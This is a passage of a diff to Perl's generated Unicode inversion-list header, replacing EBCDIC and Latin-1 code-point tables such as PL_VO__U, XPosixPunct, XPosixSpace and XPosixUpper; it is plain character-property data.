0xA490, + 0xA4C7, 0xA4D0, - 0xA960, + 0xA62C, + 0xA640, + 0xA6F8, + 0xA700, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA82C, + 0xA830, + 0xA83A, + 0xA840, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, + 0xA8FE, + 0xA900, + 0xA954, + 0xA95F, + 0xA97D, 0xA980, + 0xA9CE, + 0xA9CF, + 0xA9DA, + 0xA9DE, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, + 0xAAC3, + 0xAADB, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB66, + 0xAB70, + 0xABEE, + 0xABF0, + 0xABFA, 0xAC00, - 0xD800, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, 0xE000, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, - 0xFE10, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBC2, + 0xFBD3, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFE, + 0xFE00, + 0xFE1A, 0xFE20, - 0xFE30, - 0xFE49, 0xFE53, - 0xFE58, - 0xFE5F, - 0xFE63, + 0xFE54, 0xFE67, + 0xFE68, + 0xFE6C, 0xFE70, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0F, - 0xFF1A, - 0xFF20, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF01, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, 0xFFE0, - 0xFFE3, - 0xFFE4, + 0xFFE7, 0xFFE8, - 0xFFF0, + 0xFFEF, 0xFFF9, - 0xFFFC, 0xFFFE, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102FC, + 0x10300, + 0x10324, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x1039F, + 0x103C4, + 0x103C8, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x1056F, + 0x10570, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10857, + 0x1089F, + 0x108A7, + 0x108B0, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x108FB, + 0x1091C, + 0x1091F, + 0x1093A, + 0x1093F, + 0x10940, 0x10980, - 0x109A0, + 0x109B8, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, + 0x10A60, + 0x10AA0, + 0x10AC0, + 0x10AE7, + 0x10AEB, + 0x10AF7, + 0x10B00, + 0x10B36, + 0x10B39, + 0x10B56, + 0x10B58, + 0x10B73, + 0x10B78, + 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, + 0x11150, + 0x11177, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, + 0x11200, + 0x11212, + 0x11213, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112AA, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, 0x11600, - 0x11A00, - 0x11AB0, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, + 0x118A0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, 0x13000, - 0x13430, + 0x1342F, 0x14400, - 0x14680, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF6, + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, 0x16FE0, - 0x18B00, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, 0x1B000, - 0x1B130, - 0x1B170, - 0x1B300, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, 0x1D200, + 0x1D246, 0x1D300, - 0x1D380, - 0x1D800, + 0x1D357, + 0x1D360, + 0x1D372, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D7CC, + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, 0x1F000, - 0x1F200, - 0x1F202, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, + 0x1F130, + 0x1F16C, + 0x1F170, + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, 0x1F800, - 0x1F900, - 0x1FA00, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, 0xF0000, 0xFFFFE, 0x100000, 0x10FFFE }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_VO__U_invlist[] = { /* for EBCDIC 1047 */ - 251, /* Number of elements */ +static const UV XPosixPunct_invlist[] = { /* for EBCDIC 1047 */ + 335, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x8F, - 0x90, - 0xAF, - 0xB0, + 0x4B, + 0x51, + 0x5A, + 0x62, + 0x6B, + 0x70, + 0x79, + 0x80, + 0x8A, + 0x8C, + 0xA1, + 0xA2, + 0xAA, + 0xAC, + 0xAD, + 0xAE, + 0xB3, 0xB4, - 0xB6, + 0xB5, 0xB7, - 0xBA, - 0xBF, + 0xBD, + 0xBE, 0xC0, + 0xC1, + 0xD0, + 0xD1, + 0xE0, 0xE1, - 0xE2, - 0x2EA, - 0x2EC, - 0x1100, - 0x1200, + 0x37E, + 0x37F, + 0x387, + 0x388, + 0x55A, + 0x560, + 0x589, + 0x58B, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5F3, + 0x5F5, + 0x609, + 0x60B, + 0x60C, + 0x60E, + 0x61B, + 0x61C, + 0x61E, + 0x620, + 0x66A, + 0x66E, + 0x6D4, + 0x6D5, + 0x700, + 0x70E, + 0x7F7, + 0x7FA, + 0x830, + 0x83F, + 0x85E, + 0x85F, + 0x964, + 0x966, + 0x970, + 0x971, + 0xAF0, + 0xAF1, + 0xDF4, + 0xDF5, + 0xE4F, + 0xE50, + 0xE5A, + 0xE5C, + 0xF04, + 0xF13, + 0xF14, + 0xF15, + 0xF3A, + 0xF3E, + 0xF85, + 0xF86, + 0xFD0, + 0xFD5, + 0xFD9, + 0xFDB, + 0x104A, + 0x1050, + 0x10FB, + 0x10FC, + 0x1360, + 0x1369, + 0x1400, 0x1401, - 0x1680, - 0x18B0, - 0x1900, - 0x2016, - 0x2017, - 0x2020, - 0x2022, + 0x166D, + 0x166F, + 0x169B, + 0x169D, + 0x16EB, + 0x16EE, + 0x1735, + 0x1737, + 0x17D4, + 0x17D7, + 0x17D8, + 0x17DB, + 0x1800, + 0x180B, + 0x1944, + 0x1946, + 0x1A1E, + 0x1A20, + 0x1AA0, + 0x1AA7, + 0x1AA8, + 0x1AAE, + 0x1B5A, + 0x1B61, + 0x1BFC, + 0x1C00, + 0x1C3B, + 0x1C40, + 0x1C7E, + 0x1C80, + 0x1CC0, + 0x1CC8, + 0x1CD3, + 0x1CD4, + 0x2010, + 0x2028, 0x2030, - 0x2032, - 0x203B, - 0x203D, - 0x2042, - 0x2043, - 0x2047, - 0x204A, - 0x2051, + 0x2044, + 0x2045, 0x2052, - 0x2065, - 0x2066, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x2100, - 0x2102, - 0x2103, - 0x210A, - 0x210F, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2140, - 0x2145, - 0x214B, - 0x214C, - 0x214E, - 0x214F, - 0x218A, - 0x218C, - 0x2190, - 0x221E, - 0x221F, - 0x2234, - 0x2236, - 0x2300, + 0x2053, + 0x205F, + 0x207D, + 0x207F, + 0x208D, + 0x208F, 0x2308, 0x230C, - 0x2320, - 0x2324, 0x2329, 0x232B, - 0x232C, - 0x237D, - 0x239B, - 0x23BE, - 0x23CE, - 0x23CF, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E2, - 0x2423, - 0x2424, - 0x2500, - 0x25A0, - 0x261A, - 0x2620, 0x2768, 0x2776, - 0x2794, - 0x2B12, - 0x2B30, - 0x2B50, - 0x2B5A, - 0x2BB8, - 0x2BD2, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2E80, + 0x27C5, + 0x27C7, + 0x27E6, + 0x27F0, + 0x2983, + 0x2999, + 0x29D8, + 0x29DC, + 0x29FC, + 0x29FE, + 0x2CF9, + 0x2CFD, + 0x2CFE, + 0x2D00, + 0x2D70, + 0x2D71, + 0x2E00, + 0x2E2F, + 0x2E30, + 0x2E45, 0x3001, - 0x3003, + 0x3004, 0x3008, 0x3012, 0x3014, 0x3020, 0x3030, 0x3031, - 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x3097, - 0x309B, - 0x309D, + 0x303D, + 0x303E, 0x30A0, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, + 0x30A1, + 0x30FB, 0x30FC, - 0x30FD, - 0x3127, - 0x3128, - 0x31F0, - 0x3200, - 0x3300, - 0x3358, - 0x337B, - 0x3380, - 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA6F2, + 0xA6F8, + 0xA874, + 0xA878, + 0xA8CE, + 0xA8D0, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA92E, + 0xA930, + 0xA95F, 0xA960, - 0xA980, - 0xAC00, - 0xD800, - 0xE000, - 0xFB00, + 0xA9C1, + 0xA9CE, + 0xA9DE, + 0xA9E0, + 0xAA5C, + 0xAA60, + 0xAADE, + 0xAAE0, + 0xAAF0, + 0xAAF2, + 0xABEB, + 0xABEC, + 0xFD3E, + 0xFD40, 0xFE10, - 0xFE20, + 0xFE1A, 0xFE30, - 0xFE49, 0xFE53, - 0xFE58, - 0xFE5F, + 0xFE54, + 0xFE62, 0xFE63, - 0xFE67, - 0xFE70, - 0xFF02, - 0xFF08, - 0xFF0A, + 0xFE64, + 0xFE68, + 0xFE69, + 0xFE6A, + 0xFE6C, + 0xFF01, + 0xFF04, + 0xFF05, + 0xFF0B, 0xFF0C, - 0xFF0F, + 0xFF10, 0xFF1A, - 0xFF20, + 0xFF1C, + 0xFF1F, + 0xFF21, 0xFF3B, - 0xFF3C, - 0xFF3D, 0xFF3E, 0xFF3F, 0xFF40, 0xFF5B, - 0xFFE0, - 0xFFE3, - 0xFFE4, - 0xFFE8, - 0xFFF0, - 0xFFF9, - 0xFFFC, - 0xFFFE, - 0x10980, - 0x109A0, - 0x11580, - 0x11600, - 0x11A00, - 0x11AB0, - 0x13000, - 0x13430, - 0x14400, - 0x14680, - 0x16FE0, - 0x18B00, - 0x1B000, - 0x1B130, - 0x1B170, - 0x1B300, - 0x1D000, - 0x1D200, - 0x1D300, - 0x1D380, - 0x1D800, - 0x1DAB0, - 0x1F000, - 0x1F200, - 0x1F202, - 0x1F800, - 0x1F900, - 0x1FA00, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE + 0xFF5C, + 0xFF5D, + 0xFF5E, + 0xFF5F, + 0xFF66, + 0x10100, + 0x10103, + 0x1039F, + 0x103A0, + 0x103D0, + 0x103D1, + 0x1056F, + 0x10570, + 0x10857, + 0x10858, + 0x1091F, + 0x10920, + 0x1093F, + 0x10940, + 0x10A50, + 0x10A59, + 0x10A7F, + 0x10A80, + 0x10AF0, + 0x10AF7, + 0x10B39, + 0x10B40, + 0x10B99, + 0x10B9D, + 0x11047, + 0x1104E, + 0x110BB, + 0x110BD, + 0x110BE, + 0x110C2, + 0x11140, + 0x11144, + 0x11174, + 0x11176, + 0x111C5, + 0x111CA, + 0x111CD, + 0x111CE, + 0x111DB, + 0x111DC, + 0x111DD, + 0x111E0, + 0x11238, + 0x1123E, + 0x112A9, + 0x112AA, + 0x1144B, + 0x11450, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x114C6, + 0x114C7, + 0x115C1, + 0x115D8, + 0x11641, + 0x11644, + 0x11660, + 0x1166D, + 0x1173C, + 0x1173F, + 0x11C41, + 0x11C46, + 0x11C70, + 0x11C72, + 0x12470, + 0x12475, + 0x16A6E, + 0x16A70, + 0x16AF5, + 0x16AF6, + 0x16B37, + 0x16B3C, + 0x16B44, + 0x16B45, + 0x1BC9F, + 0x1BCA0, + 0x1DA87, + 0x1DA8C, + 0x1E95E, + 0x1E960 }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +static const UV XPosixSpace_invlist[] = { /* for EBCDIC 1047 */ + 23, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x5, + 0x6, + 0xB, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, + 0x42, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 +}; -static const UV PL_VO__U_invlist[] = { /* for EBCDIC 037 */ - 251, /* Number of elements */ +static const UV XPosixUpper_invlist[] = { /* for EBCDIC 1047 */ + 1283, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x8F, - 0x90, + 0x62, + 0x6A, + 0x71, + 0x79, + 0x80, + 0x81, + 0x9E, + 0x9F, + 0xAC, + 0xAD, + 0xAE, 0xAF, - 0xB0, - 0xB4, - 0xB6, - 0xB7, 0xBA, - 0xBF, - 0xC0, - 0xE1, + 0xBB, + 0xC1, + 0xCA, + 0xD1, + 0xDA, 0xE2, - 0x2EA, - 0x2EC, - 0x1100, - 0x1200, - 0x1401, - 0x1680, - 0x18B0, - 0x1900, - 0x2016, - 0x2017, - 0x2020, - 0x2022, - 0x2030, - 0x2032, - 0x203B, - 0x203D, - 0x2042, - 0x2043, - 0x2047, - 0x204A, - 0x2051, - 0x2052, - 0x2065, - 0x2066, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x2100, + 0xEA, + 0xEB, + 0xF0, + 0xFB, + 0xFF, + 0x100, + 0x101, + 0x102, + 0x103, + 0x104, + 0x105, + 0x106, + 0x107, + 0x108, + 0x109, + 0x10A, + 0x10B, + 0x10C, + 0x10D, + 0x10E, + 0x10F, + 0x110, + 0x111, + 0x112, + 0x113, + 0x114, + 0x115, + 0x116, + 0x117, + 0x118, + 0x119, + 0x11A, + 0x11B, + 0x11C, + 0x11D, + 0x11E, + 0x11F, + 0x120, + 0x121, + 0x122, + 0x123, + 0x124, + 0x125, + 0x126, + 0x127, + 0x128, + 0x129, + 0x12A, + 0x12B, + 0x12C, + 0x12D, + 0x12E, + 0x12F, + 0x130, + 0x131, + 0x132, + 0x133, + 0x134, + 0x135, + 0x136, + 0x137, + 0x139, + 0x13A, + 0x13B, + 0x13C, + 0x13D, + 0x13E, + 0x13F, + 0x140, + 0x141, + 0x142, + 0x143, + 0x144, + 0x145, + 0x146, + 0x147, + 0x148, + 0x14A, + 0x14B, + 0x14C, + 0x14D, + 0x14E, + 0x14F, + 0x150, + 0x151, + 0x152, + 0x153, + 0x154, + 0x155, + 0x156, + 0x157, + 0x158, + 0x159, + 0x15A, + 0x15B, + 0x15C, + 0x15D, + 0x15E, + 0x15F, + 0x160, + 0x161, + 0x162, + 0x163, + 0x164, + 0x165, + 0x166, + 0x167, + 0x168, + 0x169, + 0x16A, + 0x16B, + 0x16C, + 0x16D, + 0x16E, + 0x16F, + 0x170, + 0x171, + 0x172, + 0x173, + 0x174, + 0x175, + 0x176, + 0x177, + 0x178, + 0x17A, + 0x17B, + 0x17C, + 0x17D, + 0x17E, + 0x181, + 0x183, + 0x184, + 0x185, + 0x186, + 0x188, + 0x189, + 0x18C, + 0x18E, + 0x192, + 0x193, + 0x195, + 0x196, + 0x199, + 0x19C, + 0x19E, + 0x19F, + 0x1A1, + 0x1A2, + 0x1A3, + 0x1A4, + 0x1A5, + 0x1A6, + 0x1A8, + 0x1A9, + 0x1AA, + 0x1AC, + 0x1AD, + 0x1AE, + 0x1B0, + 0x1B1, + 0x1B4, + 0x1B5, + 0x1B6, + 0x1B7, + 0x1B9, + 0x1BC, + 0x1BD, + 0x1C4, + 0x1C5, + 0x1C7, + 0x1C8, + 0x1CA, + 0x1CB, + 0x1CD, + 0x1CE, + 0x1CF, + 0x1D0, + 0x1D1, + 0x1D2, + 0x1D3, + 0x1D4, + 0x1D5, + 0x1D6, + 0x1D7, + 0x1D8, + 0x1D9, + 0x1DA, + 0x1DB, + 0x1DC, + 0x1DE, + 0x1DF, + 0x1E0, + 0x1E1, + 0x1E2, + 0x1E3, + 0x1E4, + 0x1E5, + 0x1E6, + 0x1E7, + 0x1E8, + 0x1E9, + 0x1EA, + 0x1EB, + 0x1EC, + 0x1ED, + 0x1EE, + 0x1EF, + 0x1F1, + 0x1F2, + 0x1F4, + 0x1F5, + 0x1F6, + 0x1F9, + 0x1FA, + 0x1FB, + 0x1FC, + 0x1FD, + 0x1FE, + 0x1FF, + 0x200, + 0x201, + 0x202, + 0x203, + 0x204, + 0x205, + 0x206, + 0x207, + 0x208, + 0x209, + 0x20A, + 0x20B, + 0x20C, + 0x20D, + 0x20E, + 0x20F, + 0x210, + 0x211, + 0x212, + 0x213, + 0x214, + 0x215, + 0x216, + 0x217, + 0x218, + 0x219, + 0x21A, + 0x21B, + 0x21C, + 0x21D, + 0x21E, + 0x21F, + 0x220, + 0x221, + 0x222, + 0x223, + 0x224, + 0x225, + 0x226, + 0x227, + 0x228, + 0x229, + 0x22A, + 0x22B, + 0x22C, + 0x22D, + 0x22E, + 0x22F, + 0x230, + 0x231, + 0x232, + 0x233, + 0x23A, + 0x23C, + 0x23D, + 0x23F, + 0x241, + 0x242, + 0x243, + 0x247, + 0x248, + 0x249, + 0x24A, + 0x24B, + 0x24C, + 0x24D, + 0x24E, + 0x24F, + 0x370, + 0x371, + 0x372, + 0x373, + 0x376, + 0x377, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x390, + 0x391, + 0x3A2, + 0x3A3, + 0x3AC, + 0x3CF, + 0x3D0, + 0x3D2, + 0x3D5, + 0x3D8, + 0x3D9, + 0x3DA, + 0x3DB, + 0x3DC, + 0x3DD, + 0x3DE, + 0x3DF, + 0x3E0, + 0x3E1, + 0x3E2, + 0x3E3, + 0x3E4, + 0x3E5, + 0x3E6, + 0x3E7, + 0x3E8, + 0x3E9, + 0x3EA, + 0x3EB, + 0x3EC, + 0x3ED, + 0x3EE, + 0x3EF, + 0x3F4, + 0x3F5, + 0x3F7, + 0x3F8, + 0x3F9, + 0x3FB, + 0x3FD, + 0x430, + 0x460, + 0x461, + 0x462, + 0x463, + 0x464, + 0x465, + 0x466, + 0x467, + 0x468, + 0x469, + 0x46A, + 0x46B, + 0x46C, + 0x46D, + 0x46E, + 0x46F, + 0x470, + 0x471, + 0x472, + 0x473, + 0x474, + 0x475, + 0x476, + 0x477, + 0x478, + 0x479, + 0x47A, + 0x47B, + 0x47C, + 0x47D, + 0x47E, + 0x47F, + 0x480, + 0x481, + 0x48A, + 0x48B, + 0x48C, + 0x48D, + 0x48E, + 0x48F, + 0x490, + 0x491, + 0x492, + 0x493, + 0x494, + 0x495, + 0x496, + 0x497, + 0x498, + 0x499, + 0x49A, + 0x49B, + 0x49C, + 0x49D, + 0x49E, + 0x49F, + 0x4A0, + 0x4A1, + 0x4A2, + 0x4A3, + 0x4A4, + 0x4A5, + 0x4A6, + 0x4A7, + 0x4A8, + 0x4A9, + 0x4AA, + 0x4AB, + 0x4AC, + 0x4AD, + 0x4AE, + 0x4AF, + 0x4B0, + 0x4B1, + 0x4B2, + 0x4B3, + 0x4B4, + 0x4B5, + 0x4B6, + 0x4B7, + 0x4B8, + 0x4B9, + 0x4BA, + 0x4BB, + 0x4BC, + 0x4BD, + 0x4BE, + 0x4BF, + 0x4C0, + 0x4C2, + 0x4C3, + 0x4C4, + 0x4C5, + 0x4C6, + 0x4C7, + 0x4C8, + 0x4C9, + 0x4CA, + 0x4CB, + 0x4CC, + 0x4CD, + 0x4CE, + 0x4D0, + 0x4D1, + 0x4D2, + 0x4D3, + 0x4D4, + 0x4D5, + 0x4D6, + 0x4D7, + 0x4D8, + 0x4D9, + 0x4DA, + 0x4DB, + 0x4DC, + 0x4DD, + 0x4DE, + 0x4DF, + 0x4E0, + 0x4E1, + 0x4E2, + 0x4E3, + 0x4E4, + 0x4E5, + 0x4E6, + 0x4E7, + 0x4E8, + 0x4E9, + 0x4EA, + 0x4EB, + 0x4EC, + 0x4ED, + 0x4EE, + 0x4EF, + 0x4F0, + 0x4F1, + 0x4F2, + 0x4F3, + 0x4F4, + 0x4F5, + 0x4F6, + 0x4F7, + 0x4F8, + 0x4F9, + 0x4FA, + 0x4FB, + 0x4FC, + 0x4FD, + 0x4FE, + 0x4FF, + 0x500, + 0x501, + 0x502, + 0x503, + 0x504, + 0x505, + 0x506, + 0x507, + 0x508, + 0x509, + 0x50A, + 0x50B, + 0x50C, + 0x50D, + 0x50E, + 0x50F, + 0x510, + 0x511, + 0x512, + 0x513, + 0x514, + 0x515, + 